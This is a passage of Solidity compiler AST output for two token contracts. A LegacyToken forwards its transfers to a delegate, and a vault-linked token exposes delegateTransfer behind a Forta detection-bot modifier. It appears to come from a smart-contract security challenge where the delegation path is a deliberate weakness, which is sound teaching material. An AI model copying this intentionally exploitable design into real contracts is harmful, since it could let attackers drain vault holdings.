(bool)"}},"id":51714,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2483:48:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51691,"id":51715,"nodeType":"Return","src":"2476:55:71"}]},"id":51717,"nodeType":"IfStatement","src":"2362:180:71","trueBody":{"id":51707,"nodeType":"Block","src":"2399:57:71","statements":[{"expression":{"arguments":[{"id":51703,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51684,"src":"2435:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51704,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51686,"src":"2439:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51701,"name":"super","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-25,"src":"2420:5:71","typeDescriptions":{"typeIdentifier":"t_type$_t_super$_LegacyToken_$51720_$","typeString":"type(contract super LegacyToken)"}},"id":51702,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2426:8:71","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47399,"src":"2420:14:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) returns (bool)"}},"id":51705,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2420:25:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51691,"id":51706,"nodeType":"Return","src":"2413:32:71"}]}}]},"baseFunctions":[47399],"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"2285:8:71","overrides":{"id":51688,"nodeType":"OverrideSpecifier","overrides":[],"src":"2328:8:71"},"parameters":{"id":51687,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51684,"mutability":"mutable","name":"to","nameLocation":"2302:2:71","nodeType":"VariableDeclaration","scope":51719,"src":"2294:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51683,"name":"address","nodeType":"ElementaryTypeName","src":"2294:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51686,"mutability":"mutable","name":"value","nameLocation":"2314:5:71","nodeType":"VariableDeclaration","scope":51719,"src":"2306:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51685,"name":"uint256","nodeType":"ElementaryTypeName","src":"2306:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2293:27:71"},"returnParameters":{"id":51691,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51690,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51719,"src":"2346:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51689,"name":"bool","nodeType":"ElementaryTypeName","src":"2346:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2345:6:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":[{"hexValue":"4c6567616379546f6b656e","id":51647,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1984:13:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_0ee2e886d48b449eae8c58f774e5f0080cabd01bbf86d262bcecfd0ead310326","typeString":"literal_string \"LegacyToken\""},"value":"LegacyToken"},{"hexValue":"4c4754","id":51648,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1999:5:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_40ef642736e132b36c3ad2894c4d80ce0afe649c34017ca8cb01deee50079ab7","typeString":"literal_string \"LGT\""},"value":"LGT"}],"baseName":{"id":51646,"name":"ERC20","nameLocations":["1978:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"1978:5:71"},"id":51649,"nodeType":"InheritanceSpecifier","src":"1978:27:71"},{"baseName":{"id":51650,"name":"Ownable","nameLocations":["2007:7:71"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"2007:7:71"},"id":51651,"nodeType":"InheritanceSpecifier","src":"2007:7:71"}],"canonicalName":"LegacyToken","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51720,46700,47861,47964,47939,48281],"name":"LegacyToken","nameLocation":"1963:11:71","scope":51851,"usedErrors":[],"usedEvents":[46601,47873,47882]},{"id":51850,"nodeType":"ContractDefinition","src":"2552:1365:71","nodes":[{"id":51730,"nodeType":"VariableDeclaration","src":"2649:26:71","nodes":[],"constant":false,"functionSelector":"d444d8a0","mutability":"mutable","name":"cryptoVault","nameLocation":"2664:11:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51729,"name":"address","nodeType":"ElementaryTypeName","src":"2649:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51732,"nodeType":"VariableDeclaration","src":"2681:21:71","nodes":[],"constant":false,"functionSelector":"48db5f89","mutability":"mutable","name":"player","nameLocation":"2696:6:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51731,"name":"address","nodeType":"ElementaryTypeName","src":"2681:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51734,"nodeType":"VariableDeclaration","src":"2708:28:71","nodes":[],"constant":false,"functionSelector":"26fe9951","mutability":"mutable","name":"delegatedFrom","nameLocation":"2723:13:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51733,"name":"address","nodeType":"ElementaryTypeName","src":"2708:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51737,"nodeType":"VariableDeclaration","src":"2742:18:71","nodes":[],"constant":false,"functionSelector":"d8670e1f","mutability":"mutable","name":"forta","nameLocation":"2755:5:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"},"typeName":{"id":51736,"nodeType":"UserDefinedTypeName","pathNode":{"id":51735,"name":"Forta","nameLocations":["2742:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":51577,"src":"2742:5:71"},"referencedDeclaration":51577,"src":"2742:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"visibility":"public"},{"id":51772,"nodeType":"FunctionDefinition","src":"2767:288:71","nodes":[],"body":{"id":51771,"nodeType":"Block","src":"2867:188:71","nodes":[],"statements":[{"expression":{"id":51750,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51748,"name":"delegatedFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51734,"src":"2877:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51749,"name":"legacyToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51739,"src":"2893:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2877:27:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51751,"nodeType":"ExpressionStatement","src":"2877:27:71"},{"expression":{"id":51756,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51752,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"2914:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51754,"name":"fortaAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51743,"src":"2928:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51753,"name":"Forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51577,"src":"2922:5:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Forta_$51577_$","typeString":"type(contract Forta)"}},"id":51755,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2922:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"src":"2914:27:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51757,"nodeType":"ExpressionStatement","src":"2914:27:71"},{"expression":{"id":51760,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51758,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"2951:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51759,"name":"playerAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51745,"src":"2960:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2951:22:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51761,"nodeType":"ExpressionStatement","src":"2951:22:71"},{"expression":{"id":51764,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51762,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51730,"src":"2983:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51763,"name":"vaultAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51741,"src":"2997:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2983:26:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51765,"nodeType":"ExpressionStatement","src":"2983:26:71"},{"expression":{"arguments":[{"id":51767,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51730,"src":"3025:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":51768,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3038:9:71","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"}],"id":51766,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"3019:5:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":51769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3019:29:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51770,"nodeType":"ExpressionStatement","src":"3019:29:71"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51746,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51739,"mutability":"mutable","name":"legacyToken","nameLocation":"2787:11:71","nodeType":"VariableDeclaration","scope":51772,"src":"2779:19:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51738,"name":"address","nodeType":"ElementaryTypeName","src":"2779:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51741,"mutability":"mutable","name":"vaultAddress","nameLocation":"2808:12:71","nodeType":"VariableDeclaration","scope":51772,"src":"2800:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51740,"name":"address","nodeType":"ElementaryTypeName","src":"2800:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51743,"mutability":"mutable","name":"fortaAddress","nameLocation":"2830:12:71","nodeType":"VariableDeclaration","scope":51772,"src":"2822:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51742,"name":"address","nodeType":"ElementaryTypeName","src":"2822:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51745,"mutability":"mutable","name":"playerAddress","nameLocation":"2852:13:71","nodeType":"VariableDeclaration","scope":51772,"src":"2844:21:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51744,"name":"address","nodeType":"ElementaryTypeName","src":"2844:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2778:88:71"},"returnParameters":{"id":51747,"nodeType":"ParameterList","parameters":[],"src":"2867:0:71"},"scope":51850,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51784,"nodeType":"ModifierDefinition","src":"3061:115:71","nodes":[],"body":{"id":51783,"nodeType":"Block","src":"3089:87:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51778,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":51775,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3107:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51776,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3111:6:71","memberName":"sender","nodeType":"MemberAccess","src":"3107:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":51777,"name":"delegatedFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51734,"src":"3121:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3107:27:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f74206c656761637920636f6e7472616374","id":51779,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3136:21:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_d53c3dd2b8b8bbdc39671c54443b1e626049f3606ea5f078539eb33f51f6c68f","typeString":"literal_string \"Not legacy contract\""},"value":"Not legacy contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d53c3dd2b8b8bbdc39671c54443b1e626049f3606ea5f078539eb33f51f6c68f","typeString":"literal_string \"Not legacy contract\""}],"id":51774,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3099:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51780,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3099:59:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51781,"nodeType":"ExpressionStatement","src":"3099:59:71"},{"id":51782,"nodeType":"PlaceholderStatement","src":"3168:1:71"}]},"name":"onlyDelegateFrom","nameLocation":"3070:16:71","parameters":{"id":51773,"nodeType":"ParameterList","parameters":[],"src":"3086:2:71"},"virtual":false,"visibility":"internal"},{"id":51824,"nodeType":"ModifierDefinition","src":"3182:480:71","nodes":[],"body":{"id":51823,"nodeType":"Block","src":"3205:457:71","nodes":[],"statements":[{"assignments":[51787],"declarations":[{"constant":false,"id":51787,"mutability":"mutable","name":"detectionBot","nameLocation":"3223:12:71","nodeType":"VariableDeclaration","scope":51823,"src":"3215:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51786,"name":"address","nodeType":"ElementaryTypeName","src":"3215:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":51795,"initialValue":{"arguments":[{"arguments":[{"id":51792,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"3271:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51790,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3246:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51791,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3252:18:71","memberName":"usersDetectionBots","nodeType":"MemberAccess","referencedDeclaration":51496,"src":"3246:24:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_contract$_IDetectionBot_$51471_$","typeString":"function (address) view external returns (contract IDetectionBot)"}},"id":51793,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3246:32:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_IDetectionBot_$51471","typeString":"contract IDetectionBot"}],"id":51789,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3238:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51788,"name":"address","nodeType":"ElementaryTypeName","src":"3238:7:71","typeDescriptions":{}}},"id":51794,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3238:41:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"3215:64:71"},{"assignments":[51797],"declarations":[{"constant":false,"id":51797,"mutability":"mutable","name":"previousValue","nameLocation":"3340:13:71","nodeType":"VariableDeclaration","scope":51823,"src":"3332:21:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51796,"name":"uint256","nodeType":"ElementaryTypeName","src":"3332:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":51802,"initialValue":{"arguments":[{"id":51800,"name":"detectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51787,"src":"3378:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51798,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3356:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51799,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3362:15:71","memberName":"botRaisedAlerts","nodeType":"MemberAccess","referencedDeclaration":51500,"src":"3356:21:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51801,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3356:35:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3332:59:71"},{"expression":{"arguments":[{"id":51806,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"3439:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":51807,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3447:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51808,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3451:4:71","memberName":"data","nodeType":"MemberAccess","src":"3447:8:71","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"id":51803,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3426:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51805,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3432:6:71","memberName":"notify","nodeType":"MemberAccess","referencedDeclaration":51551,"src":"3426:12:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":51809,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3426:30:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51810,"nodeType":"ExpressionStatement","src":"3426:30:71"},{"id":51811,"nodeType":"PlaceholderStatement","src":"3497:1:71"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51817,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51814,"name":"detectionBot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51787,"src":"3579:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51812,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"3557:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51813,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3563:15:71","memberName":"botRaisedAlerts","nodeType":"MemberAccess","referencedDeclaration":51500,"src":"3557:21:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51815,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3557:35:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"id":51816,"name":"previousValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51797,"src":"3595:13:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3557:51:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51822,"nodeType":"IfStatement","src":"3553:102:71","trueBody":{"expression":{"arguments":[{"hexValue":"416c65727420686173206265656e207472696767657265642c20726576657274696e67","id":51819,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3617:37:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_3ae8a2daecdbfc253037824392ddaa1876273cf31b918ffb36463f6dc821c120","typeString":"literal_string \"Alert has been triggered, reverting\""},"value":"Alert has been triggered, reverting"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3ae8a2daecdbfc253037824392ddaa1876273cf31b918ffb36463f6dc821c120","typeString":"literal_string \"Alert has been triggered, reverting\""}],"id":51818,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"3610:6:71","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":51820,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3610:45:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51821,"nodeType":"ExpressionStatement","src":"3610:45:71"}}]},"name":"fortaNotify","nameLocation":"3191:11:71","parameters":{"id":51785,"nodeType":"ParameterList","parameters":[],"src":"3202:2:71"},"virtual":false,"visibility":"internal"},{"id":51849,"nodeType":"FunctionDefinition","src":"3668:247:71","nodes":[],"body":{"id":51848,"nodeType":"Block","src":"3845:70:71","nodes":[],"statements":[{"expression":{"arguments":[{"id":51841,"name":"origSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51830,"src":"3865:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51842,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51826,"src":"3877:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51843,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51828,"src":"3881:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51840,"name":"_transfer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47622,"src":"3855:9:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":51844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3855:32:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51845,"nodeType":"ExpressionStatement","src":"3855:32:71"},{"expression":{"hexValue":"74727565","id":51846,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3904:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":51839,"id":51847,"nodeType":"Return","src":"3897:11:71"}]},"baseFunctions":[51462],"functionSelector":"9cd1a121","implemented":true,"kind":"function","modifiers":[{"id":51834,"kind":"modifierInvocation","modifierName":{"id":51833,"name":"onlyDelegateFrom","nameLocations":["3781:16:71"],"nodeType":"IdentifierPath","referencedDeclaration":51784,"src":"3781:16:71"},"nodeType":"ModifierInvocation","src":"3781:16:71"},{"id":51836,"kind":"modifierInvocation","modifierName":{"id":51835,"name":"fortaNotify","nameLocations":["3806:11:71"],"nodeType":"IdentifierPath","referencedDeclaration":51824,"src":"3806:11:71"},"nodeType":"ModifierInvocation","src":"3806:11:71"}],"name":"delegateTransfer","nameLocation":"3677:16:71","overrides":{"id":51832,"nodeType":"OverrideSpecifier","overrides":[],"src":"3764:8:71"},"parameters":{"id":51831,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51826,"mutability":"mutable","name":"to","nameLocation":"3702:2:71","nodeType":"VariableDeclaration","scope":51849,"src":"3694:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51825,"name":"address","nodeType":"ElementaryTypeName","src":"3694:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51828,"mutability":"mutable","name":"value","nameLocation":"3714:5:71","nodeType":"VariableDeclaration","scope":51849,"src":"3706:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51827,"name":"uint256","nodeType":"ElementaryTypeName","src":"3706:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":51830,"mutability":"mutable","name":"origSender","nameLocation":"3729:10:71","nodeType":"VariableDeclaration","scope":51849,"src":"3721:1